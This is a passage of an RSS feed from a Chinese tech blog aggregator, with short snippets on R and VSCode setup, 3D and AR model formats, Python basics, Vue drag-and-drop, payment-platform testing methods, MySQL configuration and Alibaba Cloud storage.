      <description>目录 1. R的安装2. VScode 配置参考文献 1. R的安装 推荐使用anaconda或者miniconda，创建虚拟环R_env境然后安装R；&#xA;使用conda search r-base查看可下载的R的版本；R版本比较低，一般可以先增加源： % 增加源 conda config --add channels conda-forge % 提升优先级 conda config --set channel_priority strict % 再看一看R的版本 conda search r-base % 创建python=3.8的虚拟环境 R_env conda create -n R_env python=3.8 % 安装4.1.2版本R conda install -c conda-forge r-base=4.1.2 2. VScode 配置 先安装 R 插件和 R Debugger插件;使用conda activate R_env激活虚拟环境 R_env;使用pip3 installer radian安装radian好用；参考radian | 一款21世纪的R语言编辑器输入R进入R语言控制台；在控制台输入install.packages(“languageserver”)安装languageserver，用于代码补全等；使用q()退出R控制台后，打开设置，点击【远程[ssh:xxxserver]】；在虚拟环境R_env下分别输入 ·which R和which radian，分别得到R和radian的路径，在Rpath:Linux下填入R的路径；在Rterm：Linux下填入radian的路径；在Rterm：option下删掉默认项，分别填入–r-binary = R的路径和–no-site-file； 第七条：的具体操作见参考文献【5】【8】&#xA;如果需要debug需要安装vscDebugger，安装方式如下图所示（参考文献【4】），如果安装的时候报错见参考文献【2】。&#xA;参考文献 [1]使用 VSCode 愉快地进行 R 远程开发</description>
    </item>
    <item>
      <title>现在热门的AR模型和通常意义的3D模型有什么不一样？</title>
      <link>https://bchobby.github.io/posts/f3fbe4e52765b7e69f91044970ca4eb9/</link>
      <pubDate>Thu, 07 Dec 2023 15:32:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3fbe4e52765b7e69f91044970ca4eb9/</guid>
      <description>增强现实（AR）和三维技术（3D）是两种追求创建逼真虚拟世界的不同技术。尽管它们的目标相同，但在使用方式、呈现手段和用户体验方面存在显著差异。&#xA;三维技术（3D）：这种技术通过特殊的眼镜、屏幕或者投影，使用户能够看到虚拟物体的三维效果。尽管3D技术能展示虚拟物体的深度和纹理，但用户无法与这些虚拟物体进行互动。&#xA;增强现实（AR）：相反，AR技术将虚拟物体嵌入到真实环境中，使用户能够在现实环境中与虚拟物体进行互动。AR通常利用手机、平板电脑或其他手持设备，将数字内容投影到真实环境中。例如，AR技术可以在桌面上呈现虚拟的动物，使用户能够旋转、放大、缩小以及进行其他互动。&#xA;创造家（chuangzaojia.com）是国内最大的AR资源平台和3D模型库，致力于成为空间计算时代的内容入口。该平台聚集了全球数百万的3D设计师，为用户提供大量的3D模型下载和在线3D浏览服务。无论您需要逼真的家具模型、引人入胜的场景模型，还是其他类型的虚拟物体，创造家都能满足您的需求。&#xA;在创造家，您可以轻松获取各式精美的3D模型，应用于您的AR项目或其他3D应用。通过该平台，您不仅可以方便地浏览和下载精心设计的3D模型，还能在线进行3D浏览，深入观察模型的细节和纹理，以更加真实地感受虚拟世界。&#xA;综上所述，AR技术注重于用户与虚拟物体的互动，而3D技术则侧重于呈现逼真的虚拟物体。作为国内最大的AR资源平台和3D模型库，创造家为用户提供了多样化的3D模型下载和在线浏览功能。借助创造家的平台，您可以尽情探索创意的无限可能，将虚拟世界融入到现实生活中。无论您是从事设计、娱乐、教育还是其他领域，创造家都是您不可或缺的创作伙伴。</description>
    </item>
    <item>
      <title>OBJ格式的3D模型格式，对比其它格式有什么优点</title>
      <link>https://bchobby.github.io/posts/fbda8e5f27a955302362edf20a2e71e2/</link>
      <pubDate>Thu, 07 Dec 2023 15:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbda8e5f27a955302362edf20a2e71e2/</guid>
      <description>OBJ格式呈现了以下优越性：&#xA;支持多边形模型是OBJ格式的一个显著特点。OBJ文件主要专注于多边形（Polygons）模型的呈现，虽然也对曲线（Curves）、表面（Surfaces）和点组材质（Point Group Material）提供支持，但一般情况下，从Maya导出的OBJ文件并不包含这些信息。&#xA;OBJ文件在处理复杂几何体时表现出色，因为它支持由三个点以上构成的面。相较于其他模型文件格式，OBJ文件能够更好地保留模型的原始细节，无需进行繁琐的三角化处理。&#xA;OBJ文件的简洁性也是其优势之一。它专注于几何形状的表示，不包含与动画、材质、贴图路径、动力学和粒子等高级特性相关的信息。这使得在只需模型几何数据的场景中，OBJ文件成为一种非常实用的选择。&#xA;OBJ格式在多个领域都具有广泛的应用前景，包括游戏、影视、动漫、虚拟现实和科学计算等。而国内最大的AR资源聚合和分发平台——创造家（chuangzaojia.com），更是致力于成为空间计算时代的内容入口，拥有大量丰富的OBJ格式模型资源。用户可以通过这个平台方便地访问高质量的OBJ格式模型，为他们的创作和项目提供多样化的选择。&#xA;总体而言，OBJ格式以其简洁、广泛的兼容性在各个领域具有重要的应用价值。不论是游戏开发、影视制作、虚拟现实还是科学计算，OBJ格式为用户提供了一种灵活、可靠的方式来处理和交换三维模型数据。结合创造家平台，用户能够更加轻松地获取丰富的OBJ格式模型资源，为他们的创作和项目注入更多的可能性。</description>
    </item>
    <item>
      <title>深度学习疫情社交安全距离检测算法 - python opencv cnn 计算机竞赛</title>
      <link>https://bchobby.github.io/posts/5c45ac650da87d0466dcb4f25944efae/</link>
      <pubDate>Thu, 07 Dec 2023 15:22:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c45ac650da87d0466dcb4f25944efae/</guid>
      <description>文章目录 0 前言1 课题背景2 实现效果3 相关技术3.1 YOLOV43.2 基于 DeepSort 算法的行人跟踪 4 最后 0 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 **基于深度学习疫情社交安全距离检测算法 **&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：5分 🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1 课题背景 安全的社交距离是公共预防传染病毒的途径之一。所以，在人群密集的区域进行社交距离的安全评估是十分重要的。社交距离的测量旨在保持个体之间的物理距离和减少相互接触的人群来减缓或阻止病毒传播，在抗击病毒和预防大流感中发挥重要作用。但时刻保持安全距离具有一定的难度，特别是在校园，工厂等场所，在这种情况下，开发智能摄像头等技术尤为关键。将人工智能，深度学习集成至安全摄像头对行人进行社交距离评估。现阶段针对疫情防范的要求，主要采用人工干预和计算机处理技术。人工干预存在人力资源要求高，风险大，时间成本高等等缺点。计算机处理等人工智能技术的发展，对社交安全距离的安全评估具有良好的效果。&#xA;2 实现效果 通过距离分类人群的高危险和低危险距离。&#xA;相关代码&#xA;​&#xA;import argparse from utils.datasets import * from utils.utils import * def detect(save_img=False): out, source, weights, view_img, save_txt, imgsz = \ opt.output, opt.source, opt.weights, opt.view_img, opt.save_txt, opt.img_size webcam = source == &#39;0&#39; or source.startswith(&#39;rtsp&#39;) or source.startswith(&#39;http&#39;) or source.</description>
    </item>
    <item>
      <title>【银行测试】第三方支付平台业务流，功能/性能/安全测试方法...</title>
      <link>https://bchobby.github.io/posts/29d5ce57853835d0ea26c10bb42d84ab/</link>
      <pubDate>Thu, 07 Dec 2023 14:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29d5ce57853835d0ea26c10bb42d84ab/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、第三方支付平台的功能和结构特点&#xA;在信用方面，第三方支付平台作为中介，在网上交易的商家和消费者之间作一个信用的中转，通过改造支付流程来约束双方的行为，从而在一定程度上缓解彼此对双方信用的猜疑，增加对网上购物的可信度。&#xA;在技术层面，第三方支付平台承担安全保障和技术支持的作用，提供一系列的应用接口程序，支持多家银行的多卡种支付，将多家签约银行的支付方式整合到一个界面上，负责交易结算中心与银行的对接。&#xA;银行与商家通过接入第三方支付平台实现二次结算，并采用国际先进SSL加密模式，在银行、消费者和商家之间传输和存储资料。&#xA;第三方支付服务商所提供的支付系统能够承载很大的数据量、吞吐率，并具有极高的支付成功率。同时还可以根据不同用户的需要，对界面、功能等进行调整，增加个性化和人性化的特征。&#xA;目前国内出现了数百个第三方支付平台，这些平台的业务模式和技术实现方法不尽相同，但平台的结构则具有一个相似的基本点，即第三方支付平台前端直接面对网上客户，平台的后端连接各家商业银行，或通过人民银行的相关支付系统连接各家商业银行。&#xA;2、第三方支付平台业务流分析&#xA;根据电子支付产业链的分析我们看到，第三方支付最初的支付模式只是作为银行和网上商户的中介，这就是第三方支付“一般模式”；&#xA;随着支付业务的发展，小商户和网民之间的信用风险导致了“提供担保”的支付模式。&#xA;第三方支付一般模式的流程：&#xA;消费者通过第三方网上支付平台进行支付一般必须涉及到发卡银行(网银)、网上商户和第三方网上支付平台。&#xA;一般支付流程如下：&#xA;1）网上消费者浏览检索商户网页，并在商户网站选择商品、下订单；&#xA;2）商户网站列出可以选择的支付网关，消费者选择其一，商户网站将连接到第三方支付网关的支付页面；&#xA;3）网上消费者在第三方支付平台的支付页面，选择相应的银行、卡种；&#xA;4）第三方支付平台将网上消费者的支付信息，按照各银行支付网关的技术要求，传递到各相关银行，进入银行支付页面；&#xA;5）银行(银联)提供输入卡号、金额、密码等关键信息的安全页面；网上银行转发给银行账务系统，由相关银行(银联)检查相应账户(网上消费者)的支付能力，实行冻结、扣账或划账，并将账务系统的处理结果返回给网上消费者本身和第三方支付平台；&#xA;6）第三方支付平台将支付结果转发给网上商户；&#xA;7）网上商户确认收到成功支付应答的，向网上消费者发货或提供服务；&#xA;8）第三方平台根据协议于第二天或约定的周期向商户支付扣除手续费后的资金；第三方平台为网上商户提供差错交易处理的服务；&#xA;9）第三方平台作为商户与网上银行对帐，核对资金、核对；第三方平台代表网上商户与网上银行处理差错交易。&#xA;从整个过程上来看，多家银行和签约商家通过支付网关连成通道，消费者通过第三方支付平台付款给商家，通过第三方支付为商家提供一个可以兼容多银行支方式的接口平台。&#xA;第三方支付担保模式的流程：&#xA;第三方支付担保模式，也称为信用中介型模式。该种运营模式，基本是由大型的电子交易平台独立开发或与其他投资人共同开发，凭借运营商的实力和信誉与各大银行合作，同时能够为买卖双方提供中间担保的第三方支付运营模式。&#xA;这种模式的运营商主要是借助电子交易平台和中间担保支付平台与用户开展业务，在交易过中采用充当信用中介的模式，保证交易的正常进行。&#xA;以支付宝模式流程为例，其具体运行流程是：&#xA;以支付宝支付模式为例，其具体运行流程是：&#xA;1）买家确定购买之后从支付宝的个人账户中划拨出来，保留在支付宝监管账户中；事先用户应当保证账户中有足够的资金；如果余额不足，支付宝会自动跳转到充值页面，让客户通过网银充值；&#xA;2）支付宝扣账成功后，通知卖家发货；&#xA;3）卖家通过其配送渠道向买家发货；&#xA;4）待买方收到商品并确认无误后，通知支付宝收到货物；&#xA;5）支付宝将监管账户中资金划拨到卖家在支付宝的账户中。&#xA;支付宝作为代收代付的中介，主要是为了维护网络交易的安全性。&#xA;在网上交易中， 客户在商家网站下订单后，先把货款付给大家都信任的第三方中介机构，在商家知道货款己到第三方中介机构后把货物发送给客户。&#xA;如果客户对货物满意，货款就通过第三方中介机构付给商家；如果不满意，客户把货物返回给商家，并从第三方中介机构处取回货款。&#xA;3、第三方支付平台测试方法&#xA;从上述的两种支付流程来看，作为网络交易的主要支付渠道，第三方网上支付平台在发卡银行、网上商户间提供了接口平台，在电子支付产业链中起到重要的中介作用。&#xA;面对这样的电子化信息系统及其网络交易中可能存在的风险。&#xA;我们不得不实时地关注：第三方支付业务的流程是否能够正确实现、功能是否正确、网上大量客户的并发交易会不会导致支付系统崩溃、支付系统的不稳定或者互联网诚信体系的不健全会不会影响网上购物和交易等等问题。&#xA;目前亟待解决的问题就集中在：&#xA;如何通过有效地方法和策略以验证第三方支付系统的功能是否正确实现；&#xA;是否会造成网络拥堵及如何通过现有的网络技术如Internet Web、数据加密、防火墙技术、各种交易协议、客户端浏览技术和软件等，使得客户和商家能透明安全地进行交易等。&#xA;因此，为了防范第三方支付系统的交易风险，保障系统的稳定运行，必须考虑采取强有力的措施加以管理和控制，积极地引入软件测试，强化系统质量测试和安全评估，为网络交易支付系统提供可靠地服务保证。&#xA;4、第三方支付系统的功能、性能及安全性的测试方法&#xA;1）功能测试方法&#xA;在对第三方支付平台实施测试过程中，应采用黑盒测试策略，使用等价类划分、边界值分析、因果图法、判定表法、正交试验法、功能图法等测试用例设计方法的原理与实现。&#xA;分别对第三方支付系统的功能、第三方账户和交易风险监控、系统性能及安全性等测试指标项进行测试。黑盒测试法应制订覆盖全部功能模块的测试用例，通过执行测试用例以实现系统功能、业务流程和其它质量特性的测试。&#xA;针对第三方支付平台的业务功能，如“会员管理、账户管理、中间账户资金管理、差错处理、资金结算、对账处理、统计报表”等等。&#xA;应综合应用各类测试设计方法：&#xA;首先对业务流程进行等价类划分，设计的测试用例应是业务主流程和流程主分支的最小集，所有的判别分支都能被覆盖，在流程覆盖的同时，完成等价功能的测试；&#xA;采用边界值分析法，针对功能说明中的输入输出域，进行边界值和极限值的设计和测试；&#xA;采用逆向思维方式，结合以往测试经验和直觉设计软件在功能和流程上可能存在的各种错误，靠经验用错误推测法追加一些测试用例，进行容错性测试；&#xA;针对程序功能说明有各种输入条件组合的，用因果图和判定表驱动法进行测试；参数配置类的情况，用正交试验法选择较少组合方式达到最佳效果；&#xA;功能图法通过不同时期条件的有效性设计数据；&#xA;对于业务清晰且复杂的系统利用场景法贯穿整个测试过程。&#xA;2）性能测试方法&#xA;性能测试使用并发负载、大数据量、速度、网络故障分析及性能优化、网络应用性能监控等测试方法。&#xA;在性能测试时，通过构建与真实环境相同配置、数据规模满足系统未来三年业务发展需要的压力测试环境，采用自动化测试工具模拟最终用户向服务器发起业务请求，创建压力测试脚本程序，对测试过程中系统各点进行资源监控，最后形成压力测试结果分析报告。&#xA;采用并发性能测试方法，模拟不同数量并发用户执行关键业务，如“支付、退款、预存”等。&#xA;测试系统能够承受的最大并发用户数，在进行负载操作压力测试的同时，用测试工具对数据库服务器、应用服务器、认证及授权服务器上的操作系统、数据库以及中间件等资源进行监控。&#xA;大数据量测试主要包括单独的数据量测试及与并发性能测试相结合的综合测试。&#xA;独立的数据量测试指针对系统的存储、传输、统计、查询等业务进行的大数据量测试，如“余额查询、卡交易明细查询、账单批处理”等；&#xA;综合数据量测试指和压力性能测试、负载性能测试、疲劳性能测试相结合的综合测试，测试数据的准备借助于测试数据管理与生成工具。&#xA;速度测试主要检测系统关键操作的效率，例如统计报表查询等速度。通常是采用系统稳定运行情况下能够支持的最大并发用户数，持续执行一段时间业务，通过综合分析交易执行指标和资源监控指标来确定系统处理最大工作量强度性能的过程。</description>
    </item>
    <item>
      <title>android挂载NTFS U盘驱动</title>
      <link>https://bchobby.github.io/posts/236179140e94a40cb9b564f9efed73ce/</link>
      <pubDate>Thu, 07 Dec 2023 14:11:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/236179140e94a40cb9b564f9efed73ce/</guid>
      <description>一.下载ntfs-3g解压到external&#xA;二.编译external/ntfs-3g,out/target/product目录下生成二进制文件&#xA;三.修改system/vold目录下文件PublicVolume.cpp增加类型ntfs&#xA;代码下载地址：https://download.csdn.net/download/asdf_2012/87811506&#xA;有问题通过名字联系我</description>
    </item>
    <item>
      <title>Vue3拖拽功能【VueDraggablePlus】</title>
      <link>https://bchobby.github.io/posts/d5de807ce3bd0551e631320e41e31196/</link>
      <pubDate>Thu, 07 Dec 2023 13:58:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5de807ce3bd0551e631320e41e31196/</guid>
      <description>一、介绍 由于 Sortablejs 的 vue3 组件一直没有更新，已经跟 vue3 严重脱节，所以诞生了这个项目，这个组件是基于 Sortablejs 的，所以如果你想了解更多关于 Sortablejs 的信息，可以查看Sortablejs 官网。VueDraggablePlus 并非一个我熟悉的 Vue.js 插件或库。在 Vue.js 生态系统中，拖拽相关的功能常常由一些流行的库来实现，例如 vue-draggable、vuedraggable 等。&#xA;如果VueDraggablePlus是在这之后发布的或者是一个相对较小众的库，我建议你查看相关的文档或 GitHub 仓库，以获取详细的介绍和用法信息。以下是你可能采取的步骤：&#xA;搜索 GitHub： 在 GitHub 上搜索 VueDraggablePlus，找到相应的仓库。通常，开发者会在仓库中提供文档和用法示例。&#xA;查看 npm 页面： 如果你是通过 npm 或 yarn 安装的这个库，可以查看其在 npm 上的页面。你可以在终端中运行 npm info VueDraggablePlus 或 yarn info VueDraggablePlus 来获取有关包的信息。&#xA;查找在线文档： 如果 VueDraggablePlus 有在线文档，可以查阅这些文档以获取详细的介绍、配置选项和使用方法。&#xA;查看源代码： 如果其他方法都找不到足够的信息，你可以查看 VueDraggablePlus 的源代码，了解其 API 和实现方式。&#xA;如果你能提供更多的上下文或详细的信息，我也许可以提供更具体的帮助。&#xA;网址：VueDraggablePlus | 支持 Vue2 和 Vue3 的拖拽组件vue3拖拽排序组件https://alfred-skyblue.github.io/vue-draggable-plus/?from=ipkd.cn&#xA;二、基础使用实例： &amp;lt;template&amp;gt; &amp;lt;button @click=&#34;start&#34;&amp;gt;start&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;</description>
    </item>
    <item>
      <title>python中的lambda关键字</title>
      <link>https://bchobby.github.io/posts/519ab50499a99f27ce3d8d667971a37d/</link>
      <pubDate>Thu, 07 Dec 2023 11:59:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/519ab50499a99f27ce3d8d667971a37d/</guid>
      <description>对于一切很模糊的知识，首要的是抓住概念的定义。&#xA;lambda：在 Python 中用于创建匿名函数的关键字。&#xA;也即，lambda是一种关键字，这种关键字的作用是创建匿名函数。&#xA;这一段很好懂，就是匿名函数有点懵。&#xA;什么是匿名函数？先不管定语部分“匿名”，什么是函数？&#xA;函数就是一个加工厂，输入参数，输出结果。&#xA;那匿名函数呢？匿名函数就是没有函数名的函数。平时写一个实现某种功能的小函数，都需要def func_name(**args,**kewargs)，有了lambda，就可以省略这个定义的操作啦。&#xA;直接 lambda arguments: expression&#xA;这里的expression是一个表达式，而不是代码块。所以你，这个lamda就是用来创建一个功能比较简单，一个表达式就能写完的函数。&#xA;下面举例：&#xA;# 使用 lambda 定义一个简单的加法函数 add = lambda x, y: x + y # 调用 lambda 函数 result = add(3, 5) print(result) # 输出: 8 在这个例子中，lambda 函数接受两个参数 x 和 y，并返回它们的和。add 变量保存了这个匿名函数，之后可以像普通函数一样调用。&#xA;但更常见的情况是lambda函数通常在需要传递函数作为参数的地方使用，比如在 map、filter、sorted 等函数中&#xA;# 使用Lambda函数将列表中的每个元素平方 numbers = [1, 2, 3, 4, 5] squared_numbers = list(map(lambda x: x**2, numbers)) print(squared_numbers) # 输出: [1, 4, 9, 16, 25] #numbers 是一个列表，[1, 2, 3, 4, 5]。 #lambda x: x**2 是一个Lambda函数，它接受一个参数 x，并返回 x 的平方。 #map() 函数将该Lambda函数映射到 numbers 列表的每个元素上。 #结果是一个新的可迭代对象，其中包含每个元素的平方值 #使用list将可迭代对象变为数组 注：这里再补充介绍一下map函数，</description>
    </item>
    <item>
      <title>合合信息旗下启信宝与鹏城实验室达成数据托管合作，“AI靶场”让数据管理更精准</title>
      <link>https://bchobby.github.io/posts/9ebd7182200a172a972ef5f5860aff36/</link>
      <pubDate>Thu, 07 Dec 2023 11:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ebd7182200a172a972ef5f5860aff36/</guid>
      <description>数字经济时代，数据已成为新型生产要素。通过“数据托管”等形式对数据进行集中管理，有助于保护数据主体权益，促进数据共享和运用效率，对数字经济的发展具有重要意义。近期，在深圳数据交易所（简称“深数所”）的支持下，鹏城实验室AI靶场与合合信息旗下启信宝达成合作，双方成功完成首批数据托管事宜的对接，为中国数据托管行业发展提供了一个创新的“范本”。&#xA;鹏城实验室系中央批准的网络通信领域新型科研机构，致力于网络通信、网络空间和网络智能等领域的战略性、前瞻性、基础性重大科学问题和关键核心技术研究。&#xA;鹏城实验室新型网络研究部基于实验室领域战略科学家、中国工程院院士方滨兴提出的“数据不动程序动、数据可用不可见、分享价值不分享数据、保留所有权释放使用权”隐私保护新理念，通过“鹏城云脑”，打造安全可信的数据共享空间——AI靶场，构建了一套全自主可控的安全保障和内容审核机制，为数据共享使用搭建了一个安全的模型加工场。&#xA;启信宝是合合信息旗下的企业商业信息查询平台。基于境内2.3亿家企业等组织机构的超过1000亿条实时动态商业大数据，启信宝在B端服务层面形成了系列基础数据服务、标准化服务、场景化解决方案，已在金融、制造业、政务等多个行业中落地。本次数据托管范围覆盖工商、司法、招投标、企业创投、新闻舆情、产业数据等数十个维度的数据，预计将助力银行、政府等机构缓解信息不对称问题，为跨区域业务办理畅通数据渠道。&#xA;据悉，该合作为深数所首个跨区域企业征信数据托管应用流通试点案例。深数所及启信宝双方计划共同推进跨区域企业征信数据服务等合作事项，推动跨区域信用信息共享机制的不断完善；数据安全层面，鹏城实验室AI靶场与深数所的合作将充分发挥各自的优势，共同打造一个高效、安全的数据托管机制，为数据供给方提供安全托管的保障，同时为数据需求方提供挖掘真实场景真实数据的充分支持。&#xA;目前，中国在全球数据治理体系中发挥着越来越重要的作用。中国信息通信研究院发布的《数据要素白皮书（2022年）》 指出，数据要素投入生产的途径包括三次价值释放过程，一是数据支撑业务贯通，二是数据推动数智决策，三是数据流通对外赋能。国家级数据交易中心、重点实验室、数商间的合作创新，将有助于建立起可信、高效的数据流通环境，促成数据要素“第三次价值”的释放。</description>
    </item>
    <item>
      <title>【Python】排序之sorted()&amp;sort()</title>
      <link>https://bchobby.github.io/posts/0fa16bdfaeba5202a1b8528c634dba15/</link>
      <pubDate>Thu, 07 Dec 2023 11:10:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fa16bdfaeba5202a1b8528c634dba15/</guid>
      <description>sort()与sorted()的不同在于，sort是在原位重新排列列表，而sorted()是产生一个新的列表。&#xA;需要注意：sort()方法仅定义在list中，而sorted()方法对所有的可迭代序列都有效。&#xA;# 用sort实现list的降序排列 nums1 = sorted(nums,reverse=True) # print(nums) [3, 2, 1, 5, 6, 4] # print(nums1) [6, 5, 4, 3, 2, 1] Python中sort函数的使用及其实现多维度列表元素的排序_python 排序 一组有2个元素的数据_靠谱的小鲸鱼的博客-CSDN博客&#xA;sorted()实现按照第一个元素降序，第二个元素排序 # 3. sorted()函数，返回排序之后的值，原来的排序数组不变 # sorted()函数，默认按第一个元素升序，第二个元素升序 &amp;gt;&amp;gt;&amp;gt; list0 = [[7, 0], [4, 4], [7, 1], [5, 0], [6, 1], [5, 2]] &amp;gt;&amp;gt;&amp;gt; list2 = sorted(list0) &amp;gt;&amp;gt;&amp;gt; print(&#34;list2：&#34;, list2) list2： [[4, 4], [5, 0], [5, 2], [6, 1], [7, 0], [7, 1]] &amp;gt;&amp;gt;&amp;gt; print(&#34;list0：&#34;, list0) list0： [[7, 0], [4, 4], [7, 1], [5, 0], [6, 1], [5, 2]] # 4.</description>
    </item>
    <item>
      <title>使用VS2022开发linux应用的静态库链接</title>
      <link>https://bchobby.github.io/posts/530c0afb6af3a9d74a4998c1c142e332/</link>
      <pubDate>Thu, 07 Dec 2023 10:15:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/530c0afb6af3a9d74a4998c1c142e332/</guid>
      <description>开发平台包括：Win11、VS2022、WLS2。&#xA;待开发的C++应用程序需要链接openssl的静态库libssl.a和libcrypto.a。&#xA;在win11的ubuntu中，这2个库的目录是：/usr/local/openssl/lib。&#xA;在VS2022的项目属性页上设置“库目录”如下：&#xA;不必在链接器的附加库目录中添加“/usr/local/openssl/lib”。&#xA;在链接器的库依赖项中添加：ssl、crypto。&#xA;注意不能写为：libssl.a、libcrypto.a。&#xA;查看链接器的命令行，如下显示是正确的：</description>
    </item>
    <item>
      <title>win10连接mysql（设置系统环境变量）</title>
      <link>https://bchobby.github.io/posts/a2970b89f601b33f58f01d54e43ea362/</link>
      <pubDate>Thu, 07 Dec 2023 09:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2970b89f601b33f58f01d54e43ea362/</guid>
      <description>一、背景 在工作中我们往往都会在自己的win10电脑中安装mysql，无论是安转在win10主机上还是虚拟机上，这时我们如果要通过win10自带的 命令行窗口去连接mysql，就要设置mysql的系统环境变量，如果不设置环境变量会有以下提示&#xA;如果遇到以上提示就说明你的你安装的mysql是没有设置系统环境变量的&#xA;一、解决方法如下： 设置系统环境变量&#xA;点击---》搜索按钮&#xA;输入“”系统环境变量“”---》点击系统环境变量&#xA;选择--》高级---》点击环境变量&#xA;选择--》系统环境变量---》path--》点击编辑&#xA;点击--》新建&#xA;输入“”mysql的安装路径“”--点击确定&#xA;点击—》确定&#xA;最后再点击--》确定&#xA;三、测试验证 win+r --》输入cmd--》打开命令行窗口&#xA;点击确定&#xA;输入数据库的账号密码--》回车即可登录数据库&#xA;到这里win10连接mysql就已经完成了</description>
    </item>
    <item>
      <title>定时任务特辑 | Quartz、xxl-job、elastic-job、Cron四个定时任务框架对比，和Spring Boot集成实战</title>
      <link>https://bchobby.github.io/posts/7016fc361786aa87f6418768554aed57/</link>
      <pubDate>Thu, 07 Dec 2023 09:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7016fc361786aa87f6418768554aed57/</guid>
      <description>专栏集锦，大佬们可以收藏以备不时之需：&#xA;Spring Cloud 专栏：http://t.csdnimg.cn/WDmJ9&#xA;Python 专栏：http://t.csdnimg.cn/hMwPR&#xA;Redis 专栏：http://t.csdnimg.cn/Qq0Xc&#xA;TensorFlow 专栏：http://t.csdnimg.cn/SOien&#xA;Logback 专栏：http://t.csdnimg.cn/UejSC&#xA;量子计算：&#xA;量子计算 | 解密著名量子算法Shor算法和Grover算法&#xA;AI机器学习实战：&#xA;AI机器学习实战 | 使用 Python 和 scikit-learn 库进行情感分析&#xA;AI机器学习 | 基于librosa库和使用scikit-learn库中的分类器进行语音识别&#xA;Python实战：&#xA;Python实战 | 使用 Python 和 TensorFlow 构建卷积神经网络（CNN）进行人脸识别&#xA;Spring Cloud实战：&#xA;Spring Cloud实战 |分布式系统的流量控制、熔断降级组件Sentinel如何使用&#xA;Spring Cloud 实战 | 解密Feign底层原理，包含实战源码&#xA;Spring Cloud 实战 | 解密负载均衡Ribbon底层原理，包含实战源码&#xA;1024程序员节特辑文章：&#xA;1024程序员狂欢节特辑 | ELK+ 协同过滤算法构建个性化推荐引擎，智能实现“千人千面”&#xA;1024程序员节特辑 | 解密Spring Cloud Hystrix熔断提高系统的可用性和容错能力&#xA;1024程序员节特辑 | ELK+ 用户画像构建个性化推荐引擎，智能实现“千人千面”&#xA;1024程序员节特辑 | OKR VS KPI谁更合适？</description>
    </item>
    <item>
      <title>如何使用OSS Browser上传文件至阿里云Bucket</title>
      <link>https://bchobby.github.io/posts/07fa5f2c1b1a1b21aaf31aa2318c9c5c/</link>
      <pubDate>Thu, 07 Dec 2023 08:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07fa5f2c1b1a1b21aaf31aa2318c9c5c/</guid>
      <description>前言 在实验过程中可能会遇到增减配置、扩建集群的情况，各大云服务提供商提供了非常便捷的配置采购方案，使得集群管理员可以在短时间内搭建起数台新主机。在配置新机器时需要根据自身需求选用合适的镜像以达到不同的生产目的，通常各厂商提供的镜像足以满足生产需求，但某些时候仍需要使用自定义镜像来启动服务器。在近期的项目中，考虑到技术栈与实际需求，决定将DevOps核心组件部署在kubernetes外作为单独节点运行。在增添配置的过程中，考虑到之前存有的本地镜像（GitLab + Jenkins + Docker + SonarQube）可以大幅减少重新部署所需的工作量且其本身由云服务器快照制作而成，故决定使用此镜像来进行DevOps机器的配置。&#xA;注意事项 若希望服务器以本地镜像启动，需要在镜像列表中导入自定义镜像。在导入自定义镜像时，需要完成以下准备：&#xA;开通对象存储服务（OSS）创建对象的存储空间（OSS Bucket）将目标上传至Bucket赋予ECS对OSS的访问权限 在Bucket中，低于5G的文件可以直接使用Web端进行传输，大于5G的内容为提高传输效率采用分片传输，官方就分片传输提供了三种方式：&#xA;OSSUtil：一款官方且开源的命令行工具，支持大文件传输，具有简单易用的特点。仓库地址OSS Browser：一款官方且开源的图形化管理工具，具有与OSSUtil相同的功能，上手更加简单。仓库地址OSSAPI：提供了一组用于与 OSS 存储桶进行交互的编程接口。通过这些 API，开发者可以在应用程序中实现各种操作，例如上传文件、下载文件、列举对象、管理存储桶等，可以在GitHub上查找不同语言的SDK。 在本次操作中，我们选择OSS Browser。&#xA;安装OSS Browser 进入GitHub，在Release中选择需要的版本，下载解压后找到oss-browser.exe运行。&#xA;查看AccessKey ID &amp;amp; AccessKey Secret AccessKey ID 和 AccessKey Secret 是访问阿里云 API 的密钥，具有该账户完全的权限，必须妥善保管。&#xA;获取文件URL 使用OSS Browser 将上述信息填入Browser，可以登入Bucket图形管理界面，在此界面中，我们可以进行文件的上传与下载，需要注意的是，在将镜像文件上传至Bucket后，若希望将其导入为自定义镜像需要将其解压，因为阿里云镜像检测工具不支持压缩文件。将镜像文件正确上传到Bucket后，就可以导入自定义镜像并购置服务器了。</description>
    </item>
    <item>
      <title>免费SSL，阿里云免费SSL证书申请及如何宝塔更换SSL证书</title>
      <link>https://bchobby.github.io/posts/f4a7b224dff63827852946a9d5157b4d/</link>
      <pubDate>Thu, 07 Dec 2023 05:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4a7b224dff63827852946a9d5157b4d/</guid>
